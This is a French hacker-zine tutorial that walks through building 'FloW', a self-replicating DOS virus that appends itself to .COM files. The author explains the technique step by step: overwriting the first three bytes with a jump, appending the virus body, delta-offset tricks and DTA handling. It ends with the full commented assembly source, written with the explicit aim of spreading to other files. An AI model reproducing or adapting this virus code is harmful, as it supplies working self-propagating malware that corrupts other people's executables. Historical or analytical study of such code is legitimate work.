La Théorie:
*********
Bon je virus crée juste avant il est cool mais bon y pourra jamais ce répandre
et le but d'un virus c'est quand meme de ce repandre.
Il va falloir y remédier. Le principe est simple. Tout ce tut est sur les infections
de fichiers com.
Lors du lancement d'un fichier infecté il ne faut pas qu'il n'y ait que le virus
qui se mette en route. Il faut faire en sorte que le fichier infecté soit encore
operationnel. Un prog infecté aura cette guelle :
fichier avant : virus
|--------------------------------| |-------------|
| P1 | P2 | | V1 | V2 |
|--------------------------------| |-------------|
fichier a differents stade d'infection :
étape 1:
|---------------------------------------|
| P1 | P2 | P1 |
|---------------------------------------|
étape 2:
|---------------------------------------|
| V1 | P2 | P1 |
|---------------------------------------|
étape 3:
|----------------------------------------------|
| V1 | P2 | P1 | V2 |
|----------------------------------------------|
La partie V1 envoie a la fin du fichier sur le virus proprement dit (V2).Cependant pour
réaliser ce saut on est obligé de scalper quelques octets qui devront donc etre
copiés juste apres le virus.
Vous voyez en théorie c'est simple mais bon en pratique c'est une autre histoire.
Mise En Pratique:
**************
Lol ! d'abord lisez les tuts de Dark-Angel (pas celui de FcF celui de phalcon), vous les
trouverez sur www.madchat.org (j'espere que mon zine y sera a l'heure ou vous me lisez)
D'ailleurs vous verrez que j'ai pompé sur lui les petits schemas en haut expliquant
l'infection
Là ça se complique, car on peut pas faire comme l'autre virus en recopiant tout le contenu
du prog dans le fichier cible. Beh oui si vous avez compris le schema d'en haut ça doit
vous paraitre assez clair.
En exclusivité je vous propose donc le code commenté du début de FloW écrit par moi meme
Les variable utilisés dans le proggy :
buffer db 3 dup (0) ;buffer des 3 bits
fichiercom db '*.COM',0 ;cible: les coms
buffer2 db 0e9h,0,0 ;buffer du jmp de depart
verification db 0 ;sert pour tester si le fichier est deja infecté
mydta db 42 dup (?)
(A placer a la fin du virus car c'est un .com)
étape 1:
Tout d'abord on lit les 3 premiers bits du fichier (handle du fichier ouvert en bx):
-----------------------------------------------------------------------------------
mov ax, 4200h ;pointeur du fichier au debut
xor cx, cx ;
xor dx, dx ;
int 21h ;
mov ah,3fh ;lecture des premiers bits
mov cx,3 ;on en lit 3
lea dx,[bp+buffer] ;les 3 bits dans buffer
int 21h ;
-----------------------------------------------------------------------------------
Il n'y a pas besoin de les recopier dans le fichier car quand on va dumper le virus
pour le copier dans le fichier victime la valeur de buffer sera la nouvelle valeur
dans ce fichier. (pas tres clair ça, arf...)
étape 2:
On copie la première partie du virus (V1) au début du fichier a infecter.
C'est a dire qu'on écrit le jump vers la partie V2 du virus qui sera donc situé a
la fin du fichier.
Pour faire ça on a besoin de savoir la valeur du dernier offset du fichier. Cela
se passe en deplaçant le pointeur a la fin du fichier ax étant la valeur désirée.
-----------------------------------------------------------------------------------
mov ax, 4202h ;pointeur du fichier a la fin
xor cx, cx ;
xor dx, dx ;
int 21h ;
-----------------------------------------------------------------------------------
puis on code le jmp souhaité :
-----------------------------------------------------------------------------------
sub ax,3
mov word ptr [bp+buffer2+1],ax ;codage du jump
-----------------------------------------------------------------------------------
On soustrait 3 a la valeur du dernier offset car l'instruction codant un jmp nous prend
ici 3 bits.
Et on passe a l'écriture du jmp au debut du fichier :
-----------------------------------------------------------------------------------
mov ax, 4200h ;pointeur du fichier au debut
xor cx, cx ;
xor dx, dx ;
int 21h ;
mov ah, 40h ;écriture du jmp
mov cx, 3 ;on écrit 3 bits
lea dx,[bp+buffer2] ;pointe sur le jmp codé
int 21h ;
-----------------------------------------------------------------------------------
étape 3:
Cette étape consiste juste a placer le pointeur en fin de fichier et a recopier la partie
du virus que l'on désire. Voila comment on procède :
-----------------------------------------------------------------------------------
mov ax, 4202h ;pointeur du fichier a la fin
xor cx, cx ;
xor dx, dx ;
int 21h ;
mov ah,40h ;ecriture
mov cx, virus_end-virus ;taille de notre virus
lea dx,[bp+virus] ;pointe au debut du virus
int 21h
-----------------------------------------------------------------------------------
Voila, on sait faire une infection en règle, mais maintenant il faudra le faire marcher
et il reste quelque petite chose a expliquer.
Tout d'abord, vous avez pu remarquer avant chaque variable le [bp+...].
Vous vous demandez ce que c'est hein ! héhé. En fait c'est pas très difficile a comprendre,
quand on compile le code source les valeurs des offsets "buffer" ou "fichiercom" etc sont
convertis en un nombre qui correspond au déplacement a réaliser pour tomber sur les données.
Le probleme c'est justement que quand notre virus va infecter rageusement sa victime eh beh
ces valeurs ne seront plus valables. La soultion consiste a trouver la position du debut
du virus dans le fichier qu'on placera dans bp.
Et comment qu'on fait ? Eh beh il suffit d'un call. Je m'explique : un call pose sur la pile
l'adresse de retour. Il suffit d'un pop pour lire cette valeur et ça roulez encore :
-----------------------------------------------------------------------------------
virus:
call virus_start ;call pour pouvoir recuperer l'adresse
virus_start:
pop bp ;qu'on recupere
sub bp,OFFSET virus_start ;et qu'on adapte a nos besoins
-----------------------------------------------------------------------------------
Il faut aussi que notre virus vérifie que le fichier a infecter ne l'est pas deja.
La moi je fais un code a l'ancienne, je lis le premier bit pour voir si c'est un jmp
et si ce n'est pas le cas j'infecte.
Si vous désirez un truc plus propre voir les cours de Dark-Angel.
-----------------------------------------------------------------------------------
CHECK_INFECTION: ;ça c'est du code barbare !
mov ah,3fh ;lecture du 1er bit
mov cx,1 ;on en lit 1
lea dx,[bp+verification] ;le bit dans verification
int 21h ;
cmp [bp+verification], 0e9h ;compare le 1er bit a 0e9h
jz FERMETURE ;si = on cherche un autre
-----------------------------------------------------------------------------------
Petit détail notre virus ne doit pas s'auto-infecter, alors pour cela on écrit un jmp
au début qui saute de 0 ! octets, lol. On écrit ça comme ça :
-----------------------------------------------------------------------------------
debut:
db 0e9h,0,0 ;on ecrie ça pour que le prog reconnaisse
;qu'il est deja infecte
;car sinon il va s'auto-infecter
-----------------------------------------------------------------------------------
Si ce truc vous le comprenez pas la fenetre est pas loin, sautez !
Seulement ça serait trop simple, il reste encore un détail de taille qui a fait que j'en
ai chié pendant 2 semanines et que m'a "fucking with my head" sur #virus.
Je pensais pouvoir m'en passer et bien non !
Ce chieur ce nomme DTA. Ques Que C'est :? (prenez l'accent du mec qui vient de ce prendre
un rateau et qui se coince une couille dans la cuvette des chiottes qui s'est soudainement
rabattue,exemple : OuiNn Ques Que C'ééééééééééééé aaaaaiiiiieeeeeeeeeeeeeearggggg!!!!splash )
Et oui comme on peut le voir la couille a explosée ! Eh sorry j'ai un peu dérivé.
Bon la DTA c'est : Disk Transfert Area.
Hehe c'est plus clair, non ? En fait ça sert a avoir des renseignements sur les fichiers et on
est obligé de l'utiliser car si des paramètres sont passés au .com eh bien y va merdouiller
(croyez moi, j'ai testé) si on l'utilise poa.
Pour s'en servir on crée d'abord une autre DTA comme ceci :
-----------------------------------------------------------------------------------
lea dx,[bp+mydta] ;adresse de mydta
mov ah,1ah ;Set DTA
int 21h ;
-----------------------------------------------------------------------------------
puis en ouvrant le fichier a infecter on utilisera la DTA :
-----------------------------------------------------------------------------------
mov ax,3D02h ;ouverture-du-fichier(le 02 indique lecture-ecriture)
lea dx,[bp+mydta+1eh] ;nom dans DTA_PLACE+1eh
int 21h
-----------------------------------------------------------------------------------
Puis en fin de programme on restaure la DTA originale :
-----------------------------------------------------------------------------------
mov dx,80h ;restauration de la dta
mov ah,1ah ;
int 21h ;
-----------------------------------------------------------------------------------
Hehe c'est cool, reste encore (et oui) un truc. Il faut ensuite passer la main au prog
infecté et avant de procéder il faut resaturer en mémoire les 3 premiers bits originaux.
Voila le code :
-----------------------------------------------------------------------------------
mov cx,3 ;remet les 3 bits originaux
mov di,100h ;depart du com
lea si,[bp+buffer] ;endroit où on a copié les 3 bits
rep movsb ;on le fait tant que cx!=0
mov di,100h ;di pointe a 100h (depart des coms)
jmp di ;le virus passe la main au prog infecte
-----------------------------------------------------------------------------------
Héhé on a tout pour réussir, maintenant je vous donne le source en entier:
-----------------------------------------------------------------------------------
CODE SEGMENT
ASSUME CS:CODE,DS:CODE
ORG 100H
debut:
db 0e9h,0,0 ;on ecrie ça pour que le prog reconnaisse
;qu'il est deja infecte
;car sinon il va s'auto-infecter
virus:
call virus_start ;call pour pouvoir recuperer l'adresse
virus_start:
pop bp ;qu'on recupere
sub bp,OFFSET virus_start ;et qu'on adapte a nos besoins
mov cx,3 ;remet les 3 bits originaux
mov di,100h ;depart du com
lea si,[bp+buffer] ;endroit où on a copié les 3 bits
rep movsb ;on le fait tant que cx!=0
dta:
lea dx,[bp+mydta] ;adresse de mydta
mov ah,1ah ;Set DTA
int 21h ;
mov ah,4Eh ;
lea dx,[bp+fichiercom] ;findfirst
int 21h ;
OUVERTURE:
jc fin ;si on trouve pas on quitte
mov ax,3D02h ;ouverture-du-fichier(le 02 indique lecture-ecriture)
lea dx,[bp+mydta+1eh] ;nom dans DTA_PLACE+1eh
int 21h
mov bx,ax ;handle en bx
CHECK_INFECTION: ;ça c'est du code barbare !
mov ah,3fh ;lecture du 1er bit
mov cx,1 ;on en lit 1
lea dx,[bp+verification] ;le bit dans verification
int 21h ;
cmp [bp+verification], 0e9h ;compare le 1er bit a 0e9h
jz FERMETURE ;si = on cherche un autre
INFECTION:
mov ax, 4200h ;pointeur du fichier au debut
xor cx, cx ;
xor dx, dx ;
int 21h ;
mov ah,3fh ;lecture des premiers bits
mov cx,3 ;on en lit 3
lea dx,[bp+buffer] ;les 3 bits dans buffer
int 21h ;
mov ax, 4202h ;pointeur du fichier a la fin
xor cx, cx ;
xor dx, dx ;
int 21h ;
;codage du jmp
sub ax,3
mov word ptr [bp+buffer2+1],ax ;codage du jump
mov ah,40h ;ecriture
mov cx, virus_end-virus ;taille de notre virus
lea dx,[bp+virus] ;pointe au debut du virus
int 21h
;ecriture du jmp
mov ax, 4200h ;pointeur du fichier au debut
xor cx, cx ;
xor dx, dx ;
int 21h ;
mov ah, 40h ;écriture du jmp
mov cx, 3 ;on écrit 3 bits
lea dx,[bp+buffer2] ;pointe sur le jmp codé
int 21h ;
FERMETURE:
mov ah,3Eh ;fermeture-du-fichier
int 21h
mov ah,4Fh ;findnext
int 21h ;si y en a pas on se casse
jmp OUVERTURE ;si y en a on revient
fin:
;execution-du-prog-victime
fin_cherche:
mov dx,80h ;replacement de la dta
mov ah,1ah
int 21h
mov di,100h ;di pointe a 100h (depart des coms)
jmp di ;le virus passe la main au prog infecte
variables:
buffer db 3 dup (?) ;buffer des 3 bits
fichiercom db '*.COM',0 ;cible: les coms
buffer2 db 0e9h,?,? ;buffer du jmp de depart
verification db ? ;sert pour tester si le fichier est deja infecté
TiPiaX db 'FloW V0.5 By PoSeiDoN (Fr)'
virus_end:
mydta db 42 dup (?) ;on le met la car on ne veut pas copier le contenu
;de la DTA
CODE ENDS
END debut
-----------------------------------------------------------------------------------
Un petit détail, il se peut que vous obteniez une erreur a l'execution du virus.
C'est normal car lorsque que le prog de départ a fini son infection, il est entrainé
dans une boucle interminable (retour a 100h) et de mauvais bits sont placés a 100h
(les bits des progs infectés contenus dans buffer). Voyons le coté positif des choses,
cela n'a aucune incidence sur la vie du virus et de plus cela permet d'arreter le prog
viral de départ.
J'espère ne pas vous avoir trop embrouillé. Je remercie Urgo32 de #virus pour m'avoir
mis sur la voie de mon bug due a la DTA. ps: allez pas sur ce chan de barbare si vous
y connaissez rien en virii ou en anglais, je me suis fais hacher dans tous les sens.
(enfin c'est un bon moyen pour apprendre des insultes en anglais)